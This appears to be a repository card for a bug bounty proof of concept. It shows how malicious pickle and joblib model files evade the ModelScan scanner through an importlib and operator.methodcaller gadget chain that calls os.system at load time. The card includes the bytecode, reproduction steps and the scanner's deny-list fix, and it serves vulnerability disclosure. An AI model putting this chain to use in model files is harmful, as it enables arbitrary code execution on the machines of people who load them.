YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ModelScan 0.8.x ACE Bypass โ operator.methodcaller + importlib Gadget Chain
Summary
This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.
The .pkl and .joblib files in this repo execute arbitrary commands at deserialization
time while passing ModelScan's scan as "No issues found."
Vulnerability
Affected scanner: ModelScan 0.8.8 Affected file types: .pkl .pickle .joblib .dill .dat .data Impact: Arbitrary Code Execution at model-load time, scanner bypass
ModelScan's unsafe_globals blocklist explicitly blocks operator.attrgetter with a
comment documenting the operator gadget pattern, but omits operator.methodcaller,
which achieves equivalent method invocation on runtime objects. The importlib module
is entirely absent from the blocklist.
Gadget Chain
importlib.import_module("os") <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
(only attrgetter is blocked)
Execution:
operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)
Globals extracted by ModelScan
{('importlib', 'import_module'), ('operator', 'methodcaller')}
Neither is in unsafe_globals. ModelScan reports CLEAN.
Reproduction
Requirements
pip install modelscan joblib
Step 1 - Verify execution
import pickle
with open("poc_modelscan_bypass.pkl", "rb") as f:
data = f.read()
# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)
import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())
Step 2 - Verify ModelScan bypass
modelscan -p poc_modelscan_bypass.pkl
Expected output:
No issues found!
Step 3 - Verify joblib.load() also triggers
import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires
Pickle Bytecode (protocol 4)
PROTO 4
FRAME 107
SHORT_BINUNICODE 'importlib' MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module
SHORT_BINUNICODE 'os' MEMOIZE (as 3)
TUPLE1 MEMOIZE (as 4)
REDUCE MEMOIZE (as 5) <- os module
POP
SHORT_BINUNICODE 'operator' MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller
SHORT_BINUNICODE 'system' MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10)
TUPLE2 MEMOIZE (as 11)
REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd)
BINGET 5 <- retrieve os module
TUPLE1
REDUCE <- os.system(cmd) -> RCE
STOP
Root Cause
modelscan/settings.py line in unsafe_globals:
# Current (vulnerable)
"operator": [
"attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
The developer documented the operator gadget pattern but only blocked attrgetter.
methodcaller achieves the same result through method dispatch on runtime objects.
Fix
# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",
Files
| File | Description |
|---|---|
| poc_modelscan_bypass.pkl | Malicious pickle โ passes ModelScan, executes os.system() |
| poc_modelscan_bypass.joblib | Same payload, .joblib extension |
| poc_modelscan_bypass.py | Python script that generates and verifies the PoC |
Ethical Use
This PoC uses a benign indicator (id > /tmp/ml_pwned) to demonstrate code execution.
It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
Do not use against systems you do not own.